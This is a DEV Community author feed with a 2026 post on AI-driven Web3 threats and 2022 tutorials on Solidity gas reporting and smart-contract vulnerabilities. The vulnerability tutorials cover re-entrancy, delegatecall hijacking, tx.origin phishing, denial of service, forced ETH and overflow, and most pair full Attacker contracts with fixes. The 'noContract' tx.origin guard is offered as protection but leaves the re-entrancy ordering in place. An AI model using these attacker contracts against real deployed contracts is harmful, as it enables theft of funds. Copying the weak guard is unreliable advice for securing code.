DEV Community: Rushank Savant

I Left Web3 in 2022. I Returned to an AI Security Crisis.

Rushank Savant — Mon, 20 Apr 2026 12:48:31 +0000

The 4-Year Gap

In May 2022, I stopped publishing. I shifted focus to real-estate and AI Automation & RAG (Retrieval-Augmented Generation) engineering.
My Dev.to page has been a ghost town ever since.

The Reality Check

Coming back to Web3, I expected to see a more mature ecosystem. Instead, I found a massive security debt. While we built better L2s and ZK-rollups, the attackers built better extraction agents.

Why the 2022 Playbook is Dead:

Hyper-Personalized Phishing: AI bots scrape your GitHub/X to craft "dev-to-dev" messages you will trust.
Automated Drains: Scammers are using RAG tech to find 1-line vulnerabilities in your legacy 2022 code.
The Mailbox Vector: Leaked data is being used to mail physical "fake" hardware wallets to users.

The $285M Drift Protocol Phishing hack earlier this month was the final proof for me. It wasn’t just a bad link; it was a multi-stage AI attack that bypassed institutional security.

The Pivot

I’m no longer just a dev. I’m turning into Security Architect at the intersection of AI and Web3.

My New Stack Rule: In a world of AI-generated lies, Open Source is the only firewall. If it’s not open-source, it’s a vulnerability.

Let’s get to work.

Using eth-gas-reporter

Rushank Savant — Tue, 17 May 2022 19:39:37 +0000

A good smart contract is the one which is gas-optimized and not-vulnerable to attacks.
And there are some tools which help us analyze these aspects before deploying contract to production.
(I have made a series of blogs on Gas Optimization techniques and Security Vulnerabilities if you are interested)

In this blog, we will see how to use eth-gas-provider to get report of gas-consumption and gas-price for deployment and function calls of the contract.
If reading bores you, head over to my GitHub repo and follow along the steps.

So let's begin:

Install hardhat if you haven't done already:

npm install --save-dev hardhat

Create a sample hardhat project:

npx hardhat

This will create a Greeter.sol in contracts directory along with some other files and directories.

Installing dependencies:

npm i hardhat-gas-reporter

npm i dotenv

create a .env file(in main directory) as follows:

coinMarketCap_API= //get your api-key at https://coinmarketcap.com/api/pricing/
REPORT_GAS= true // set to false when you don't want gas-report

Now goto hardhat.config.js file, and replace the content in it with the following:

require("@nomiclabs/hardhat-waffle");
require("hardhat-gas-reporter");
const dotenv = require("dotenv");
dotenv.config();

module.exports = {
  solidity: "0.8.4",
  gasReporter: {
    enabled: (process.env.REPORT_GAS) ? true : false, // will give report if REPORT_GAS environment variable is true
    currency: 'USD', // can be set to ETH and other currencies (see coinmarketcap api documentation)
    coinmarketcap: process.env.coinMarketCap_API // to fetch prices from coinmarketcap api
  }
};

And finally, use the following command to compile, test, and get gas-report for the sample contract:

npx hardhat test

Output:

You can expect a similar output as follows:

The usd (avg) might vary, based on price of ETH and current gas price. The Avg shows the gas consumption for function call and contract deployment.

Prevent External Contracts

Rushank Savant — Tue, 17 May 2022 15:30:21 +0000

Almost every vulnerability you see in solidity smart contracts are caused by hackers developing some attacker contract and this attacker contract then harming the vulnerable contract.
By the way, I have made a series on smart contract vulnerabilities if you find it interesting (link)

But what if there is a way by which we can know if function caller is a contract or a normal wallet address?
Then we can stop any external contract from interacting with our contract, hence saving our contract from being hacked.

Let's see how this can be achieved:

consider a contract vulnerable to re-entrancy (check my re-entracy blog)
in this case, hacker will take advantage of late balance update in state mapping, and will keep on re-entering contract using his attacker contract until all funds are drained.
but not if we stop external contracts to call MyContract functions. 😎

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.1;

contract MyContract { // this contract is vulnerable to re-entracy attack

    mapping (address => uint) balances;

    modifier noContract { // this won't allow external contracts to interact with this contract
        require(tx.origin == msg.sender, "No contracts allowed");
        _;
    }

    function deposit() external payable noContract { // using noContract 
        balances[msg.sender] += msg.value;
    }

    function withdraw() external payable noContract { // using noContract 
        uint amount = balances[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Send operation failed");

        balances[msg.sender] = 0;
    }

    function getBalance() external view returns(uint balance) {
        balance = address(this).balance;
    }
}

We are stopping external smart contracts using noContract modifier. It verifies if function caller(msg.sender) is same as transaction initiator(tx.origin).
Wanna know more about tx.origin? Visit here

Now when some Attacker contract will try to steal funds from MyContract, transaction will fail.
Attacker contract:

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.1;

interface IMyContract{
    function deposit() external payable;
    function withdraw() external payable;
}

contract Attacker {
    IMyContract myContract;

    constructor(address _myContract) payable {
        myContract = IMyContract(_myContract);
    }

    fallback() external payable {
        if (address(myContract).balance > 0) {
            myContract.withdraw();
        }
    }

    function attack() external payable {
        myContract.deposit{value: 1 ether}();
        myContract.withdraw();
    }

    function getBalance() external view returns(uint balance) {
        balance = address(this).balance;
    }
}

Delegate Call - Context is Preserved

Rushank Savant — Mon, 16 May 2022 19:32:32 +0000

This is a very simple and rare vulnerability which we might never see in real-world. But let's take a sneak-peak anyway.

Let's understand how delegate call works.
contract_A has a function which delegate calls contract_B. When that function is called, state of contract_A is changed after successful execution of code in contract_B.

Consider the following:

contract HackMe {
    address public owner;
    Lib _libContract;

    constructor(address _lib) {
        owner = msg.sender;
        _libContract = Lib(_lib);
    }

    fallback() external payable {
        address(_libContract).delegatecall(msg.data);
    }
}

contract Lib {
    address public owner;

    function changeOwner() external {
        owner = msg.sender;
    }
}

If you are clear with delegate call, you might have seen the problem above. If not, no worries keep reading...

How HackMe can be hacked to change owner variable?

If an attacker calls changeOwner() function in HackMe , this will trigger the fallback function (because there is no changeOwner() in HackMe).
fallback function delegate calls Lib contract calling msg.data which is changeOwner()
this will call changeOwner() in Lib which will change owner(in HackMe) to msg.sender(i.e attacker address).

See the following contract:

contract Attacker {
    address hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() external {
        hackMe.call(abi.encodeWithSignature("changeOwner()"));
    }
}

Careful while using tx.origin

Rushank Savant — Mon, 16 May 2022 09:20:14 +0000

In solidity we have two methods to access the address of caller or transaction maker, tx.origin and msg.sender. Following are the differences between both:

tx.origin - Alice -> contract_A -> contract_B; tx.origin = Alice
msg.sender - Alice -> contract_A -> contract_B; msg.sender = contract_A

It's important to be careful while using tx.origin, as this opens possibilities of phishing attacks.

Let's understand this with an example:

Alice creates a wallet contract (Victim) that accepts ETH from anyone and only lets Alice transfer/withdraw.
in the transfer() function, we can see tx.origin is used to verify if caller was Alice.

contract Victim {
    address owner;

    constructor() {
        owner = msg.sender; // Alice
    }

    receive() external payable {

    }

    function transfer(address _to, uint amount) external payable {
        require(tx.origin == owner, "Only owner can cause this txn");

        (bool sent,) = _to.call{value: amount}("");
        require(sent, "Send txn failed");
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}

The attacker can take advantage of this by scamming Alice to call attack() function of the Attacker contract.

This will call transfer() function of the Victim contract where tx.origin will be equal to Alice.

interface IVictim{
    function transfer(address _to, uint amount) external payable;
    function getBalance() external view returns(uint);
}

contract Attacker {
    address attacker;
    IVictim victimContract;

    constructor(address _victim) {
        attacker = msg.sender;
        victimContract = IVictim(_victim);
    }

    function attack() external payable { // attacker will trick Alice to call this function
        victimContract.transfer(attacker, address(victimContract).balance);
    }
}

Such phishing attacks can be prevented by using msg.sender in place of tx.origin.
Because even if Alice is scammed to call attack() function of the Attacker contract, when this will call transfer() function, msg.sender will be equal to the address of Attacker contract. Hence transaction will fail.

contract VictimSafe {
    address owner;

    constructor() {
        owner = msg.sender;
    }

    receive() external payable {

    }

    function transfer(address _to, uint amount) external payable {
        require(msg.sender == owner, "Only owner can cause this txn");
        // changing tx.origin to msg.sender, to avoid phishing attack

        (bool sent,) = _to.call{value: amount}("");
        require(sent, "Send txn failed");
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}

Delegate Call - Order of Variables

Rushank Savant — Mon, 16 May 2022 08:55:52 +0000

It's important that we keep in mind about how order of variables matter in contracts while using delegate call.

Let's understand this with the help of following example:

HackMe is a contract that delegate calls Lib contract to do something
note that variable order is not same in both of these contract

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.7.6;

contract HackMe {
    address lib;
    address public owner;
    uint someNumber;

    constructor(address _lib) {
        owner = msg.sender;
        lib = _lib;
    }

    function doStuff(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doStuff(uint256)", _num));
    }
}

contract Lib {
    uint someNumber;

    function doStuff(uint _num) public {
        someNumber = _num;
    }
}

The doStuff() function in HackMe delegate calls doStuff() function in Lib. And in Lib, this function changes the first variable of the first slot,
which is uint someNumber in Lib but address lib in HackMe. Since delegate call changes state of caller using the delegated contract's function, this will cause change in the address lib in HackMe (because that's the first variable in HackMe).

Let's now see how Attacker can take advantage of this:

Attacker will have same variable order as HackMe contract.
Attacker will have a doStuff() function with same signature, which will change the owner variable (2md variable).

Step - I

Attacker will call doStuff() function in HackMe passing it's own address in uint form (not possible after 0.8.0) as input.
This will change address lib value to the address of Attacker contract.

Step - II

Now Attacker will again call doStuff() function in HackMe with some random uint input, this time HackMe delegate calls the Attacker (because Step - I)
And doStuff() function in Attacker will change the owner variable to msg.sender(attacker address) in the HackMe. Hence high-jacking the HackMe contract.

See the following contract to understand better:

contract Attacker {
    address Lib;
    address public owner;
    uint someNumber;

    HackMe hackMe;

    constructor(address _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() external {
        hackMe.doStuff(uint(address(this)));  // -------- (I)
        hackMe.doStuff(1);  // -------- (II)
    }

    function doStuff(uint _num) public { // HackMe will delegatecall this when (II) gets execute after (I)
        owner = msg.sender; // updates owner of HackMe 
    }
}

The only solution to avoid such attack is the maintain the variable order in Lib, same as Hackme.

Denial of Service

Rushank Savant — Sun, 15 May 2022 18:55:25 +0000

Let's say there is a contract which allows maximum ETH donner to become owner of that contract.
In this blog, we will see how it is possible to highjack such contract taking advantage of a contract vulnerability.

Consider following contract:

anyone can call becomeOwner() function and become owner by sending amount greater than balance.
on calling becomeOwner(), if condition is met, balance amount is transfered to current owner and owner and balance state variables are updated.

contract Victim {
    address public owner;
    uint public balance;

    function becomeOwner() external payable {
        require(msg.value > balance);
        (bool sent, ) = owner.call{value: balance}("");
        require(sent, "Send failed");

        balance = msg.value;
        owner = msg.sender;
    }
}

Now let's say Victim contract is unable to send current balance to current owner, i.e require(sent, "Send failed"); is not satisfied.
In that case, current owner can never be removed and new owner can never be added. That's exactly how attackers can highjack the contract:

contract Attacker { // has no fallback function, hence can't recieve eth
    Victim victimCOntract;

    constructor(address _victim) {
        victimCOntract = Victim(_victim);
    }

    function attack() external payable {
        victimCOntract.becomeOwner{value: msg.value}();
    }
}

The Attacker function has no receive/fallback function, and hence cannot receive ETH, when someone tries to send ETH transaction fails. And hence becomeOwner() function is never executed by anyone.

You might have got a question, if Attacker can't receive ETH how can it send ETH to Victim?
Well answer to this is simple, if you see the attack() function you might notice the ETH is never supplied to Attack contract. It's transacted from function caller to Victim directly.

Force Send ETH - 2

Rushank Savant — Sat, 14 May 2022 20:46:50 +0000

In the last post Force Send ETH - 1, we understood about selfdestruct and how it's used to forcefully send ETH to any contract.

Now let's take an example to understand what's the vulnerability in this. Consider the following contract:

contract Crowdfund {
    // this contract only accepts a certain amount of funds
    // if someone tries to send an amount that exceeds contract balance more than the limit, tnx fails
    // funds are transfered to an address only when contract balance equals fund limit

    uint fundLimit = 3 ether;
    bool contractOpen = true;

    function donate() external payable { // for others to donate eth to this contract
        require(contractOpen, "Contract has stopped recieving funds");
        require(address(this).balance <= fundLimit, "Can't send specified amount");
        // note: we cannot do address(this).balance + msg.value, because address(this).balance already takes msg.value
    }

    function getBalance() external view returns(uint) { // to get current balance of this contract
        return address(this).balance;
    } 

    function sendFunds() external { // to send all collected funds
        require(contractOpen, "Contract has stopped recieving funds");
        require(address(this).balance == fundLimit, "Fund limit not reached yet");
        contractOpen = false; // contract closed
        payable(address(0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB)).transfer(address(this).balance);
    }
}

Now consider the following scenario:

Contract balance has reached 3 ether, but some hacker force-sends extra ETH to CrowdFund contract address.
Now contract balance > fundLimit, hence require(address(this).balance == fundLimit, "Fund limit not reached yet"); from the sendFunds() function will fail and not let anyone send the collected funds to required receiver.

Hope you got an idea about what exactly the vulnerability is.

Let's see the attacker contract:

contract Attacker{
    fallback() external payable {

    }

    function attack(address _crowdFund) external {
        selfdestruct(payable(_crowdFund));
    }
}

Till now we understood what exactly this vulnerability is and how hackers can take advantage of it. Let's now see how to avoid such hacks.

one solution is to change

require(address(this).balance == fundLimit, "Fund limit not reached yet"); to

require(address(this).balance >= fundLimit, "Fund limit not reached yet"); in sendFunds() function of Crowdfund contract.

But what if that's an important condition for some application?

better solution is to avoid using address(this) to track funds

Let's see the following contract to understand this better:

contract CrowdFund_safe{
    uint fundLimit = 3 ether;
    bool contractOpen = true;
    uint balance = 0;

    function donate() external payable { // for others to donate eth to this contract
        require(contractOpen, "Contract has stopped recieving funds");
        require(balance + msg.value <= fundLimit, "Can't send specified amount");
        balance += msg.value;
    }

    function getBalance() external view returns(uint) { // to get current balance of this contract
        return address(this).balance;
    } 

    function sendFunds() external { // to send all collected funds
        require(contractOpen, "Contract has stopped recieving funds");
        require(balance == fundLimit, "Fund limit not reached yet");
        contractOpen = false; // contract closed
        payable(address(0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB)).transfer(balance);
    }
}

Now even if hacker force-sends ETH to this contract, it won't change the balance state variable, hence this won't affect any conditions in the contract.
Hence the contract is safe from such attacks.

Force Send ETH - 1

Rushank Savant — Sat, 14 May 2022 20:18:30 +0000

This vulnerability is due to a famous solidity functionality:

selfdestruct(payable(addressThat)), this is used to send all the ETH present in a contract to another contract at addressThat. selfdestruct is operation at EVM level which clears all data from the contract and frees up space on the blockchain.

It is also quite cheaper than addressThat.send(this.balance) to send all eth to some other contract.

Let's see this with an example:

contract dontWant { // no payable function, hence can't recieve eth
    function something() external pure returns(uint) {
        return 1;
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}

Attacker:

contract Attacker {
    receive() external payable { // we will send ether to this contract

    }

    function attack(address _dontWant) payable external { // this contract will forecfully send all ether to dontWant
        selfdestruct(payable(_dontWant));
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}

When we send some ETH to Attacker contract and call attack() function, dontWant recieves ETH.

Any contract can send ETH to any other contract (even if receiver contract has no receive/fallback function) using selfdestruct.
But why is this a vulnerability in the first place? What's wrong in recieving free ETH?
You will get answers these in the next post (Force Send ETH - 2)

Arithmetic overflow/underflow

Rushank Savant — Sat, 14 May 2022 19:52:53 +0000

As of Solidity 0.8.0, arithmetic overflow/underflow is not a concern. But if we are using a previous version, this is something we need to take care of.

First let us understand what underflow/overflow is:

Overflow: when a variable exceeds maximum limit of uint (2**256-1), it becomes 0

Eg: uint var1 = 2**256 - 1

var1 + 1 will be 0

var1 + 2 will be 1

Underflow: when a variable is reduced to something less than the minimum limit of uint (0), it becomes maximum number (2**256-1)

Eg: uint var2 = 0

var2 -1 = 2*256 -1

var2 -2 = 2*256 -2

Now let's understand this with an example; consider a contract that accepts eth from users and locks them for a certain amount of time. Users cannot withdraw before this time-limit but can increase the time limit if they want.

contract TimeLock {
    mapping (address => uint) public balances;
    mapping (address => uint) public lockTime;

    function deposit() external payable{ // to deposit
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] += block.timestamp + 1 weeks;
    }

    function withdraw() external { // to withdraw
        uint bal = balances[msg.sender]; 
        require(bal > 0, "No balance to withdraw");
        require(lockTime[msg.sender] <= block.timestamp, "Time left yet");

        balances[msg.sender] = 0; // updating before sending, to avoid reentrancy

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Send ETH failed");
    }

    function increaseTimeLimit(uint _seconds) external { // to increase lock time
        lockTime[msg.sender] += _seconds;
    }
}

Now if attacker wants to hack this contract and get his funds immediately he just needs to overflow lockTime[msg.sender]. Once this is done, require(lockTime[msg.sender] <= block.timestamp, "Time left yet"); in withdraw() function will pass (because lockTime[msg.sender] will be equal to a small number after overflow).

Let's see how attacker can achieve this:

contract Attacker {
    TimeLock timeLockContract;
    receive() external payable{
    }

    constructor(address _timeLock) {
        timeLockContract = TimeLock(_timeLock);
    }

    function deposit() external payable {
        timeLockContract.deposit{value: msg.value}();
    }

    function attack() external {
        timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));
        timeLockContract.withdraw();      
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }

}

In the attack() function, we are using underflow to get a very big number: timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));. This big number is added to lockTime[msg.sender] in TimeLock contract to cause overflow. And hence the withdraw is executed.

Re-Entrancy

Rushank Savant — Fri, 13 May 2022 20:10:41 +0000

External calls in a smart contract play a vital role on Ethereum blockchain, and these can be used by hackers to force a contract to execute further code. Attacks of this kind were used in the DAO hack.

Let's understand this attack with the help of an example:

Consider a victim contract that stores eth received from multiple people and allow them to withdraw back:

contract Victim{
    mapping(address => uint) public balances;

    receive() external payable{

    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint bal = balances[msg.sender];
        require(bal > 0, "Your acc balance zero!");

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent == true, "Send failed");

        balances[msg.sender] =0;
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}

Now let's understand how this can be attacked to steal all funds from the Victim contract:

Make a Attacker contract
make a fallback function that calls for withdraw from Victim
send some ETH to Victim contract
Then withdraw it
Now in the Victim contract, when following line will be executed from withdraw() function, it will trigger the fallback in the Attacker. This will lead to calling withdraw again before complete execution of previous withdraw(). This cycle will go on until the Victim contract is drained with funds

(bool sent,) = msg.sender.call{value: bal}("");

This happens because balances[msg.sender] =0; in withdraw() is never executed due to multiple withdraw calls. Hence Attacker contract address balance is never changed and the require condition always passes in cycle of withdraw() functions.

Phew, lot of words. Let's see the Attacker contract to understand better:

interface IVictim {
    function deposit() external payable;
    function withdraw() external;
}

contract Attacker {
    IVictim public victimContract;
    constructor(address _victimContract) {
        victimContract = IVictim(_victimContract);
    }

    fallback() external payable {
        if (address(victimContract).balance > 0) {
        victimContract.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "< 1 ETH");
        victimContract.deposit{value: 1 ether}();
        victimContract.withdraw();
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}

If you understood the stuff above (if I delivered it well), then you might be able to come up with a solution to stop attackers. If not, no worries, following contract will help you understand it better.

contract VictimGaurded{
    mapping(address => uint) public balances;
    bool internal lock;

    modifier ReentrancyGaurd() {
        require(!lock, "Bad luck Attacker!");
        lock = true;
        _;
        lock = false;
    }

    receive() external payable{

    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external ReentrancyGaurd {
        uint bal = balances[msg.sender];
        require(bal > 0, "Your acc balance zero!");

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent == true, "Send failed");

        balances[msg.sender] =0;
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}

The basic idea is to set a condition for 2nd function call to fail if previous call in not executed completely.

in the first call, it checks the lock:
- if false, it changes lock to true and allow further code execution
- if true, this means there is a previous call which is not yet executed completely. Hence throws an error.

There is also a simpler way, if we just update the balance before sending eth in the withdraw() function, re-entracy will fail.

Variable sequence - 2

Rushank Savant — Fri, 13 May 2022 15:18:37 +0000

We previously saw in Variable sequence organization, that fitting multiple variables in single slot saves gas on execution.

But there is an exception to this case.
Lets just try to recall our previous observations, consider following contracts:

contract varSequence2_1{
    uint var1;
    uint var2;
    uint var3;

    function updateVar(uint num) external {
        var1 = num;
        var2 = num;
        var3 = num;
    }

}

contract varSequence2_2{
    uint8 var1;
    uint8 var2;
    uint8 var3;

    function updateVar(uint8 num) external {
        var1 = num;
        var2 = num;
        var3 = num;
    }

}

Which contract will cost us more gas on updateVar function execution? If you guessed varSequence2_1 then you are right. This is similar to what we saw in Variable sequence organization.

Now, consider the following contracts:

contract varSequence2_1{
    uint var1;
    uint var2;
    uint var3;

    function updateVar(uint num) external {
        var1 = num;
    }

}

contract varSequence2_2{
    uint8 var1;
    uint8 var2;
    uint8 var3;

    function updateVar(uint8 num) external {
        var1 = num;
    }

}

Which contract do you think will cost us more gas on updateVar function execution now? It will be varSequence2_2. But why so?

Conclusion

This is observed because the opcodes increase when you have to find a particular element and mask it out of a storage slot. And hence there is an increase in gas.